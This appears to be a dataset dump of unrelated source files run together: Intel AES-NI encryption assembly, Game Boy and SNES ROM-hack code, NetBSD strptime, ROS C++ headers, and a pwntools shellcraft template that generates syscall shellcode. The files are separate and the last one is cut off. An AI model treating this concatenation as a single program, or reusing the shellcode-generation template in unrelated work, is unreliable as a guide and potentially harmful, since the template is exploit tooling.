text
stringlengths
1
1.05M
############################################################################### # Copyright 2019 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .text .p2align 6, 0x90 u128_str: .byte 15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0 .p2align 6, 0x90 .globl _k0_EncryptCTR_RIJ128pipe_AES_NI _k0_EncryptCTR_RIJ128pipe_AES_NI: push %rbx mov (16)(%rsp), %rax movdqu (%rax), %xmm8 movdqu (%r9), %xmm0 movdqa %xmm8, %xmm9 pandn %xmm0, %xmm9 movq (%r9), %rbx movq (8)(%r9), %rax bswap %rbx bswap %rax movslq %r8d, %r8 sub $(64), %r8 jl .Lshort_inputgas_1 .Lblks_loopgas_1: movdqa u128_str(%rip), %xmm4 pinsrq $(0), %rax, %xmm0 pinsrq $(1), %rbx, %xmm0 pshufb %xmm4, %xmm0 pand %xmm8, %xmm0 por %xmm9, %xmm0 add $(1), %rax adc $(0), %rbx pinsrq $(0), %rax, %xmm1 pinsrq $(1), %rbx, %xmm1 pshufb %xmm4, %xmm1 pand %xmm8, %xmm1 por %xmm9, %xmm1 add $(1), %rax adc $(0), %rbx pinsrq $(0), %rax, %xmm2 pinsrq $(1), %rbx, %xmm2 pshufb %xmm4, %xmm2 pand %xmm8, %xmm2 por %xmm9, %xmm2 add $(1), %rax adc $(0), %rbx pinsrq $(0), %rax, %xmm3 pinsrq $(1), %rbx, %xmm3 pshufb %xmm4, %xmm3 pand %xmm8, %xmm3 por %xmm9, %xmm3 movdqa (%rcx), %xmm4 mov %rcx, %r10 pxor %xmm4, %xmm0 pxor %xmm4, %xmm1 pxor %xmm4, %xmm2 pxor %xmm4, %xmm3 movdqa (16)(%r10), %xmm4 add $(16), %r10 mov %rdx, %r11 sub $(1), %r11 .Lcipher_loopgas_1: aesenc %xmm4, %xmm0 aesenc %xmm4, %xmm1 aesenc %xmm4, %xmm2 aesenc %xmm4, %xmm3 movdqa (16)(%r10), %xmm4 add $(16), %r10 dec %r11 jnz .Lcipher_loopgas_1 aesenclast %xmm4, %xmm0 aesenclast %xmm4, %xmm1 aesenclast %xmm4, %xmm2 aesenclast %xmm4, %xmm3 movdqu (%rdi), %xmm4 movdqu (16)(%rdi), %xmm5 movdqu (32)(%rdi), %xmm6 movdqu (48)(%rdi), %xmm7 add $(64), %rdi pxor %xmm4, %xmm0 movdqu %xmm0, (%rsi) pxor %xmm5, %xmm1 movdqu %xmm1, (16)(%rsi) pxor %xmm6, %xmm2 movdqu %xmm2, (32)(%rsi) pxor %xmm7, %xmm3 movdqu %xmm3, (48)(%rsi) add $(1), %rax adc $(0), %rbx add $(64), %rsi sub $(64), %r8 jge .Lblks_loopgas_1 .Lshort_inputgas_1: add $(64), %r8 jz .Lquitgas_1 lea (,%rdx,4), %r10 lea (-144)(%rcx,%r10,4), %r10 .Lsingle_blk_loopgas_1: pinsrq $(0), %rax, %xmm0 pinsrq $(1), %rbx, %xmm0 pshufb u128_str(%rip), %xmm0 pand %xmm8, %xmm0 por %xmm9, %xmm0 pxor (%rcx), %xmm0 cmp $(12), %rdx jl .Lkey_128_sgas_1 jz .Lkey_192_sgas_1 .Lkey_256_sgas_1: aesenc (-64)(%r10), %xmm0 aesenc (-48)(%r10), %xmm0 .Lkey_192_sgas_1: aesenc (-32)(%r10), %xmm0 aesenc (-16)(%r10), %xmm0 .Lkey_128_sgas_1: aesenc (%r10), %xmm0 aesenc (16)(%r10), %xmm0 aesenc (32)(%r10), %xmm0 aesenc (48)(%r10), %xmm0 aesenc (64)(%r10), %xmm0 aesenc (80)(%r10), %xmm0 aesenc (96)(%r10), %xmm0 aesenc (112)(%r10), %xmm0 aesenc (128)(%r10), %xmm0 aesenclast (144)(%r10), %xmm0 add $(1), %rax adc $(0), %rbx sub $(16), %r8 jl .Lpartial_blockgas_1 movdqu (%rdi), %xmm4 pxor %xmm4, %xmm0 movdqu %xmm0, (%rsi) add $(16), %rdi add $(16), %rsi cmp $(0), %r8 jz .Lquitgas_1 jmp .Lsingle_blk_loopgas_1 .Lpartial_blockgas_1: add $(16), %r8 .Lpartial_block_loopgas_1: pextrb $(0), %xmm0, %r10d psrldq $(1), %xmm0 movzbl (%rdi), %r11d xor %r11, %r10 movb %r10b, (%rsi) inc %rdi inc %rsi dec %r8 jnz .Lpartial_block_loopgas_1 .Lquitgas_1: pinsrq $(0), %rax, %xmm0 pinsrq $(1), %rbx, %xmm0 pshufb u128_str(%rip), %xmm0 pand %xmm8, %xmm0 por %xmm9, %xmm0 movdqu %xmm0, (%r9) vzeroupper pop %rbx ret
INCLUDE "hardware.inc" INCLUDE "macros.inc" SECTION "Over", ROM0 ; draw game over message ; draw's over the game roll and held columns, whilst preserving the scored ; categories, their values as well as the score and highscore columns DrawGameOver:: ; copying of string to screen is inlined to save cycles AT _SCRN0, 1, 1 DEF I = 0 REPT 18 ; strings in rgbds are one-indexed DEF I = I + 1 ; take a single character from LINE1 ld a, STRSUB("GAME A - NEW GAME", I, 1) ; draw to screen ldi [hl], a ENDR AT _SCRN0, 1, 2 DEF I = 0 REPT 14 DEF I = I + 1 ld a, STRSUB("OVER B - MENU", I, 1) ldi [hl], a ENDR ret ; cleanup game over message CleanupGameOver:: xor a ; ld a, $00 AT _SCRN0, 1, 1 REPT 18 ld [hl], a inc hl ENDR AT _SCRN0, 1, 2 REPT 18 ld [hl], a inc hl ENDR ret
; A283557: The number of positive integer sequences of length n with no duplicate substrings and a minimal product (i.e., the product of the sequence is A282164(n)). ; Submitted by Jamie Morken(m4) ; 1,1,3,2,2,6,6,24,24,120 mov $1,1 lpb $0 mov $3,$2 lpb $3 add $2,1 mov $5,$0 cmp $5,0 add $0,$5 div $3,$0 mul $0,$1 cmp $4,0 sub $3,$4 lpe sub $0,1 add $2,1 mul $1,$2 lpe mov $0,$1
/* $NetBSD: strptime.c,v 1.33 2009/05/24 02:25:43 ginsbach Exp $ */ /*- * Copyright (c) 1997, 1998, 2005, 2008 The NetBSD Foundation, Inc. * All rights reserved. * * This code was contributed to The NetBSD Foundation by Klaus Klein. * Heavily optimised by David Laight * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include <ctype.h> #include <locale.h> #include <string.h> #include <time.h> #include <Windows.h> #include "win_strptime.h" #include "win_stdint.h" #ifdef __weak_alias __weak_alias(strptime,_strptime) #endif /* * We do not implement alternate representations. However, we always * check whether a given modifier is allowed for a certain conversion. */ #define ALT_E 0x01 #define ALT_O 0x02 #define LEGAL_ALT(x) { if (alt_format & ~(x)) return NULL; } static char gmt[] = { "GMT" }; static char utc[] = { "UTC" }; /* RFC-822/RFC-2822 */ static const char * const nast[5] = { "EST", "CST", "MST", "PST", "\0\0\0" }; static const char * const nadt[5] = { "EDT", "CDT", "MDT", "PDT", "\0\0\0" }; typedef unsigned char u_char; typedef unsigned int uint; static const u_char *conv_num(const unsigned char *, int *, uint, uint); static const u_char *find_string(const u_char *, int *, const char * const *, const char * const *, int); char * strptime(const char *buf, const char *fmt, struct tm *tm) { unsigned char c; const unsigned char *bp, *ep; int alt_format, i, split_year = 0, neg = 0, offs; bp = (const u_char *)buf; while (bp != NULL && (c = *fmt++) != '\0') { /* Clear `alternate' modifier prior to new conversion. */ alt_format = 0; i = 0; /* Eat up white-space. */ if (isspace(c)) { while (isspace(*bp)) bp++; continue; } if (c != '%') goto literal; again: switch (c = *fmt++) { case '%': /* "%%" is converted to "%". */ literal: if (c != *bp++) return NULL; LEGAL_ALT(0); continue; /* * "Alternative" modifiers. Just set the appropriate flag * and start over again. */ case 'E': /* "%E?" alternative conversion modifier. */ LEGAL_ALT(0); alt_format |= ALT_E; goto again; case 'O': /* "%O?" alternative conversion modifier. */ LEGAL_ALT(0); alt_format |= ALT_O; goto again; /* * "Elementary" conversion rules. */ case 'C': /* The century number. */ i = 20; bp = conv_num(bp, &i, 0, 99); i = i * 100 - TM_YEAR_BASE; if (split_year) i += tm->tm_year % 100; split_year = 1; tm->tm_year = i; LEGAL_ALT(ALT_E); continue; case 'd': /* The day of month. */ case 'e': bp = conv_num(bp, &tm->tm_mday, 1, 31); LEGAL_ALT(ALT_O); continue; case 'k': /* The hour (24-hour clock representation). */ LEGAL_ALT(0); /* FALLTHROUGH */ case 'H': bp = conv_num(bp, &tm->tm_hour, 0, 23); LEGAL_ALT(ALT_O); continue; case 'l': /* The hour (12-hour clock representation). */ LEGAL_ALT(0); /* FALLTHROUGH */ case 'I': bp = conv_num(bp, &tm->tm_hour, 1, 12); if (tm->tm_hour == 12) tm->tm_hour = 0; LEGAL_ALT(ALT_O); continue; case 'j': /* The day of year. */ i = 1; bp = conv_num(bp, &i, 1, 366); tm->tm_yday = i - 1; LEGAL_ALT(0); continue; case 'M': /* The minute. */ bp = conv_num(bp, &tm->tm_min, 0, 59); LEGAL_ALT(ALT_O); continue; case 'm': /* The month. */ i = 1; bp = conv_num(bp, &i, 1, 12); tm->tm_mon = i - 1; LEGAL_ALT(ALT_O); continue; case 'S': /* The seconds. */ bp = conv_num(bp, &tm->tm_sec, 0, 61); LEGAL_ALT(ALT_O); continue; #ifndef TIME_MAX #define TIME_MAX INT64_MAX #endif case 'U': /* The week of year, beginning on sunday. */ case 'W': /* The week of year, beginning on monday. */ /* * XXX This is bogus, as we can not assume any valid * information present in the tm structure at this * point to calculate a real value, so just check the * range for now. */ bp = conv_num(bp, &i, 0, 53); LEGAL_ALT(ALT_O); continue; case 'w': /* The day of week, beginning on sunday. */ bp = conv_num(bp, &tm->tm_wday, 0, 6); LEGAL_ALT(ALT_O); continue; case 'u': /* The day of week, monday = 1. */ bp = conv_num(bp, &i, 1, 7); tm->tm_wday = i % 7; LEGAL_ALT(ALT_O); continue; case 'g': /* The year corresponding to the ISO week * number but without the century. */ bp = conv_num(bp, &i, 0, 99); continue; case 'G': /* The year corresponding to the ISO week * number with century. */ do bp++; while (isdigit(*bp)); continue; case 'V': /* The ISO 8601:1988 week number as decimal */ bp = conv_num(bp, &i, 0, 53); continue; case 'Y': /* The year. */ i = TM_YEAR_BASE; /* just for data sanity... */ bp = conv_num(bp, &i, 0, 9999); tm->tm_year = i - TM_YEAR_BASE; LEGAL_ALT(ALT_E); continue; case 'y': /* The year within 100 years of the epoch. */ /* LEGAL_ALT(ALT_E | ALT_O); */ bp = conv_num(bp, &i, 0, 99); if (split_year) /* preserve century */ i += (tm->tm_year / 100) * 100; else { split_year = 1; if (i <= 68) i = i + 2000 - TM_YEAR_BASE; else i = i + 1900 - TM_YEAR_BASE; } tm->tm_year = i; continue; case 'Z': tzset(); if (strncmp((const char *)bp, gmt, 3) == 0 || \ strncmp((const char *)bp, utc, 3) == 0) { tm->tm_isdst = 0; #ifdef TM_GMTOFF tm->TM_GMTOFF = 0; #endif #ifdef TM_ZONE tm->TM_ZONE = gmt; #endif bp += 3; } else { ep = find_string(bp, &i, (const char * const *)tzname, NULL, 2); if (ep != NULL) { tm->tm_isdst = i; #ifdef TM_GMTOFF tm->TM_GMTOFF = -(timezone); #endif #ifdef TM_ZONE tm->TM_ZONE = tzname[i]; #endif } bp = ep; } continue; case 'z': /* * We recognize all ISO 8601 formats: * Z = Zulu time/UTC * [+-]hhmm * [+-]hh:mm * [+-]hh * We recognize all RFC-822/RFC-2822 formats: * UT|GMT * North American : UTC offsets * E[DS]T = Eastern : -4 | -5 * C[DS]T = Central : -5 | -6 * M[DS]T = Mountain: -6 | -7 * P[DS]T = Pacific : -7 | -8 * Military * [A-IL-M] = -1 ... -9 (J not used) * [N-Y] = +1 ... +12 */ while (isspace(*bp)) bp++; switch (*bp++) { case 'G': if (*bp++ != 'M') return NULL; /*FALLTHROUGH*/ case 'U': if (*bp++ != 'T') return NULL; /*FALLTHROUGH*/ case 'Z': tm->tm_isdst = 0; #ifdef TM_GMTOFF tm->TM_GMTOFF = 0; #endif #ifdef TM_ZONE tm->TM_ZONE = utc; #endif continue; case '+': neg = 0; break; case '-': neg = 1; break; default: --bp; ep = find_string(bp, &i, nast, NULL, 4); if (ep != NULL) { #ifdef TM_GMTOFF tm->TM_GMTOFF = -5 - i; #endif #ifdef TM_ZONE tm->TM_ZONE = (nast[i]); #endif bp = ep; continue; } ep = find_string(bp, &i, nadt, NULL, 4); if (ep != NULL) { tm->tm_isdst = 1; #ifdef TM_GMTOFF tm->TM_GMTOFF = -4 - i; #endif #ifdef TM_ZONE tm->TM_ZONE = (nadt[i]); #endif bp = ep; continue; } if ((*bp >= 'A' && *bp <= 'I') || (*bp >= 'L' && *bp <= 'Y')) { #ifdef TM_GMTOFF /* Argh! No 'J'! */ if (*bp >= 'A' && *bp <= 'I') tm->TM_GMTOFF = ('A' - 1) - (int)*bp; else if (*bp >= 'L' && *bp <= 'M') tm->TM_GMTOFF = 'A' - (int)*bp; else if (*bp >= 'N' && *bp <= 'Y') tm->TM_GMTOFF = (int)*bp - 'M'; #endif #ifdef TM_ZONE tm->TM_ZONE = NULL; /* XXX */ #endif bp++; continue; } return NULL; } offs = 0; for (i = 0; i < 4; ) { if (isdigit(*bp)) { offs = offs * 10 + (*bp++ - '0'); i++; continue; } if (i == 2 && *bp == ':') { bp++; continue; } break; } switch (i) { case 2: offs *= 100; break; case 4: i = offs % 100; if (i >= 60) return NULL; /* Convert minutes into decimal */ offs = (offs / 100) * 100 + (i * 50) / 30; break; default: return NULL; } if (neg) offs = -offs; tm->tm_isdst = 0; /* XXX */ #ifdef TM_GMTOFF tm->TM_GMTOFF = offs; #endif #ifdef TM_ZONE tm->TM_ZONE = NULL; /* XXX */ #endif continue; /* * Miscellaneous conversions. */ case 'n': /* Any kind of white-space. */ case 't': while (isspace(*bp)) bp++; LEGAL_ALT(0); continue; default: /* Unknown/unsupported conversion. */ return NULL; } } return (char *)(bp); } static const u_char * conv_num(const unsigned char *buf, int *dest, uint llim, uint ulim) { uint result = 0; unsigned char ch; /* The limit also determines the number of valid digits. */ uint rulim = ulim; ch = *buf; if (ch < '0' || ch > '9') return NULL; do { result *= 10; result += ch - '0'; rulim /= 10; ch = *++buf; } while ((result * 10 <= ulim) && rulim && ch >= '0' && ch <= '9'); if (result < llim || result > ulim) return NULL; *dest = result; return buf; } static const u_char * find_string(const u_char *bp, int *tgt, const char * const *n1, const char * const *n2, int c) { int i; unsigned int len; /* check full name - then abbreviated ones */ for (; n1 != NULL; n1 = n2, n2 = NULL) { for (i = 0; i < c; i++, n1++) { len = strlen(*n1); // if (strncasecmp(*n1, (const char *)bp, len) == 0) { if (CompareStringA(LOCALE_SYSTEM_DEFAULT, NORM_IGNORECASE, *n1, -1, (const char *)bp, len) == CSTR_EQUAL) { *tgt = i; return bp + len; } } } /* Nothing matched */ return NULL; }
#ifndef TIMER_HPP #define TIMER_HPP #include <ctime> #include <thread> #include <iostream> using namespace std; class Timer { public: Timer(unsigned int sec); void start(); void spawn(); void stop(); private: unsigned int status; // TODO: use atomic class for thread safe operation unsigned int wait_for_sec; bool timeup; }; #endif
// Copyright 2016 Open Source Robotics Foundation, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef RCLCPP__SUBSCRIPTION_FACTORY_HPP_ #define RCLCPP__SUBSCRIPTION_FACTORY_HPP_ #include <functional> #include <memory> #include <string> #include <utility> #include "rcl/subscription.h" #include "rosidl_typesupport_cpp/message_type_support.hpp" #include "rclcpp/any_subscription_callback.hpp" #include "rclcpp/intra_process_buffer_type.hpp" #include "rclcpp/node_interfaces/node_base_interface.hpp" #include "rclcpp/qos.hpp" #include "rclcpp/subscription.hpp" #include "rclcpp/subscription_options.hpp" #include "rclcpp/subscription_traits.hpp" #include "rclcpp/visibility_control.hpp" #include "rclcpp/topic_statistics/subscription_topic_statistics.hpp" namespace rclcpp { /// Factory containing a function used to create a Subscription<MessageT>. /** * This factory class is used to encapsulate the template generated function * which is used during the creation of a Message type specific subscription * within a non-templated class. * * It is created using the create_subscription_factory function, which is * usually called from a templated "create_subscription" method of the Node * class, and is passed to the non-templated "create_subscription" method of * the NodeTopics class where it is used to create and setup the Subscription. * * It also handles the two step construction of Subscriptions, first calling * the constructor and then the post_init_setup() method. */ struct SubscriptionFactory { // Creates a Subscription<MessageT> object and returns it as a SubscriptionBase. using SubscriptionFactoryFunction = std::function< rclcpp::SubscriptionBase::SharedPtr( rclcpp::node_interfaces::NodeBaseInterface * node_base, const std::string & topic_name, const rclcpp::QoS & qos)>; const SubscriptionFactoryFunction create_typed_subscription; }; /// Return a SubscriptionFactory setup to create a SubscriptionT<MessageT, AllocatorT>. template< typename MessageT, typename CallbackT, typename AllocatorT, typename CallbackMessageT = typename rclcpp::subscription_traits::has_message_type<CallbackT>::type, typename SubscriptionT = rclcpp::Subscription<CallbackMessageT, AllocatorT>, typename MessageMemoryStrategyT = rclcpp::message_memory_strategy::MessageMemoryStrategy< CallbackMessageT, AllocatorT >> SubscriptionFactory create_subscription_factory( CallbackT && callback, const rclcpp::SubscriptionOptionsWithAllocator<AllocatorT> & options, typename MessageMemoryStrategyT::SharedPtr msg_mem_strat, std::shared_ptr<rclcpp::topic_statistics::SubscriptionTopicStatistics<CallbackMessageT>> subscription_topic_stats = nullptr ) { auto allocator = options.get_allocator(); using rclcpp::AnySubscriptionCallback; AnySubscriptionCallback<CallbackMessageT, AllocatorT> any_subscription_callback(allocator); any_subscription_callback.set(std::forward<CallbackT>(callback)); SubscriptionFactory factory { // factory function that creates a MessageT specific SubscriptionT [options, msg_mem_strat, any_subscription_callback, subscription_topic_stats]( rclcpp::node_interfaces::NodeBaseInterface * node_base, const std::string & topic_name, const rclcpp::QoS & qos ) -> rclcpp::SubscriptionBase::SharedPtr { using rclcpp::Subscription; using rclcpp::SubscriptionBase; auto sub = Subscription<CallbackMessageT, AllocatorT>::make_shared( node_base, *rosidl_typesupport_cpp::get_message_type_support_handle<MessageT>(), topic_name, qos, any_subscription_callback, options, msg_mem_strat, subscription_topic_stats); // This is used for setting up things like intra process comms which // require this->shared_from_this() which cannot be called from // the constructor. sub->post_init_setup(node_base, qos, options); auto sub_base_ptr = std::dynamic_pointer_cast<SubscriptionBase>(sub); return sub_base_ptr; } }; // return the factory now that it is populated return factory; } } // namespace rclcpp #endif // RCLCPP__SUBSCRIPTION_FACTORY_HPP_
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> <%docstring>oldfstat(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4) -> str Invokes the syscall oldfstat. See 'man 2 oldfstat' for more information. Arguments: vararg(int): vararg Returns: long </%docstring> <%page args="vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = [] can_pushstr_array = [] argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4'] argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False))) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_oldfstat']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* oldfstat(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
namespace menu { seek(codeCursor) namespace party { enqueue pc //shared seek($ee806d); jsl dragonName seek($ee7f3e); jsl playerName seek($ee7f79); jsl playerLevel seek($ee7f90); jml playerStatus seek($ee7fa3); jsl playerClass seek($ee7fef); jsl hp.setValue seek($ee7123); string.hook(mp.setTypeMP) //"MP" text seek($ee7130); string.hook(mp.setTypeSP) //"SP" text seek($ee716f); jsl mp.setValue seek($ee714f); jsl mp.setNone seek($ee7f5c); string.skip() //"LV" text seek($ee7fd0); string.skip() //"HP" text seek($ee7f31); lda #$0046 //name position seek($ee7f42); lda #$0054 //"LV" clear position seek($ee7f6c); lda #$0054 //"LV" text position seek($ee7f8a); lda #$00c6 //class position seek($ee7fe2); lda #$0146 //"HP" position seek($ee8000); lda #$014e //"MP"/"SP" position seek($ee7df8); lda #$0016 //X cursor offset (command menu) seek($ee7df1); adc #$003d //Y cursor offset (command menu) seek($ee7a7e); lda #$0096 //X cursor offset (player menu) seek($ee7a78); adc #$0021 //Y cursor offset (player menu) //sprite X positions seek($ee671c); db $7c //player 1 seek($ee6720); db $7c //player 2 seek($ee6724); db $7c //player 3 seek($ee6728); db $7c //player 4 //campaign seek($ee8339); string.hook(formation) seek($ee834c); string.hook(dragons) seek($ee8379); string.hook(information) seek($ee838e); string.hook(equipment) seek($ee839f); string.hook(viewMap) seek($ee83b0); string.hook(sortie) seek($ee83c3); jsl sideQuestSetup; nop #8 seek($ee7bd7); jml sideQuestCheck; nop seek($ee83d5); string.hook(sideQuest) seek($ee835f); string.hook(autoFormation) seek($ee7b9b); string.hook(formationSet) //first line seek($ee7bb6); string.skip() //second line //sortie seek($ee81b5); string.hook(magic) seek($ee81c6); string.hook(item) seek($ee81d9); string.hook(equipment) seek($ee81ea); string.hook(information) //"Chapter"# seek($ee8287); string.skip() //label seek($ee82a4); jsl chapterNumber //value seek($ee829a); lda #$06c6 //position //"Side Quest"# seek($ee8262); string.skip() //label seek($ee8281); jsl sideQuestNumber //value seek($ee8273); lda #$06c6 //position //"Turn"# seek($ee81ff); string.skip() //label seek($ee82b9); jsl turn //value seek($ee82af); lda #$0746 //position //"Piro"# seek($ee821a); string.skip() //label seek($ee82d2); jsl piro //value seek($ee82bd); lda #$07c6 //position //"Time" seek($ee823b); string.skip() //time field separators seek($ee82dc); jsl time; jmp $8312 //value seek($ee82d6); lda #$0846 //position dequeue pc allocator.bpp4() allocator.create(7, 8,name) allocator.create(3, 8,level) allocator.create(8, 8,class) allocator.create(5, 8,hp) allocator.create(4, 8,mp) allocator.bpp2() allocator.create(8,11,menu) allocator.create(5, 2,party) allocator.create(8, 2,dragon) inline static(define name) { function {name} { enter ldy.w #strings.bpp2.{name} lda #$0008; allocator.index(menu) write.bpp2(lists.strings.bpp2) leave; rtl } } static(formation) static(dragons) static(information) static(equipment) static(viewMap) static(sortie) static(sideQuest) static(autoFormation) static(formationSet) static(magic) static(item) //------ //ee83bf lda $7e801c ;load chapter# //ee83c3 cmp #$0006 ;side quests are available from chapter 6 onward //ee83c6 bcc $83e2 ;if at chapter 5 or earlier, don't draw "Side Quest" label //ee83c8 lda #$2000 ;draw "Side Quest" using white text palette //ee83cb sta $001862 ;store attributes value //...... ;draw "Side Quest" label //ee83e2 plb //ee83e3 plp //ee83e4 rtl //------ //A => chapter# function sideQuestSetup { php; rep #$20; pha cmp #$0006; bcc + //prologue + chapters 1-5 lack side quests cmp #$001c; bcs + //side quests themselves lack side quests (debugger fix) tilemap.setColorWhite(); pla; plp; rtl +;tilemap.setColorGray(); pla; plp; rtl } //------ //ee7bd3 lda $7e801c ;load chapter# //ee7bd7 cmp #$0006 ;side quests are available from chapter 6 onward //ee7bda bcs $7be5 ;if at chapter 6 or later, enter side quest menu //------ //A => chapter# function sideQuestCheck { php; rep #$20; pha cmp #$0006; bcc + //prologue + chapters 1-5 lack side quests cmp #$001c; bcs + //side quests themselves lack side quests (debugger fix) pla; plp; jml $ee7be5 //enter side quest menu +;pla; plp; jml $ee7bdc //do not enter side quest menu } //A => party function party { enter tilemap.setColorGreen() and #$0007; mul(5); tay lda #$0005; allocator.index(party); write.bpp2(lists.parties.bpp2) tilemap.setColorWhite() leave; rtl } //A => dragon function dragonName { enter getDragonName(); mul(8); tay lda #$0008; allocator.index(dragon); write.bpp2(names.buffer.bpp2) leave; rtl } //A => chapter# function chapterNumber { enter and #$001f; mul(8); tay lda #$0008; ldx #$0010 write.bpp2(lists.chapters.bpp2) leave; rtl } //A => side quest# function sideQuestNumber { php; rep #$30; pha add #$001b; jsl chapterNumber pla; plp; rtl } //A => turn# function turn { enter; ldx #$0000 append.literal("Turn") append.alignLeft() append.alignSkip(23) append.integer5() lda #$0006; render.small.bpp2() ldx #$0018; jsl write.bpp2 leave; rtl } //$7e8016-$7e8018 => piro function piro { enter; ldx #$0000 lda $7e8018; and #$00ff; tay lda $7e8016 append.literal("Piro") append.alignLeft() append.alignSkip(23) append.integer10() lda #$0009; render.small.bpp2() ldx #$001e; jsl write.bpp2 leave; rtl } //$7e3bd0 => hour //$7e3bd1 => minute //$7e2bd2 => second function time { enter; ldx #$0000 append.literal("Time") append.alignLeft() append.alignSkip(23) lda $7e3bd0; and #$00ff cmp.w #100; bcs + append.integer02(); bra ++; + append.integer_3(); + append.literal(":") lda $7e3bd1; and #$00ff append.integer02() append.literal(":") lda $7e3bd2; and #$00ff append.integer02() lda #$0009; render.small.bpp2() ldx #$0027; jsl write.bpp2 leave; rtl } //A => player name function playerName { enter and #$00ff cmp #$0009; jcs static dynamic: mul(8); tay lda #$0007; allocator.index(name); write.bpp4(names.buffer.bpp4) leave; rtl static: mul(8); tay lda #$0007; allocator.index(name); write.bpp4(lists.names.bpp4) leave; rtl } //A => player level function playerLevel { enter and #$00ff; mul(3); tay lda #$0003; allocator.index(level); write.bpp4(lists.levels.bpp4) leave; rtl } //draw status ailments and/or enchantments. //if there are none, then draw the player class name instead. function playerStatus { ldy #$0008; lda [$44],y; and.w #status.ailment.mask; beq +; jml $ee7fb3; + ldy #$000a; lda [$44],y; and.w #status.enchant.mask; beq +; jml $ee7fb3; + jml $ee7f9c } //A => player class function playerClass { enter and #$00ff; mul(8); tay lda #$0008; allocator.index(class); write.bpp4(lists.classes.bpp4) leave; 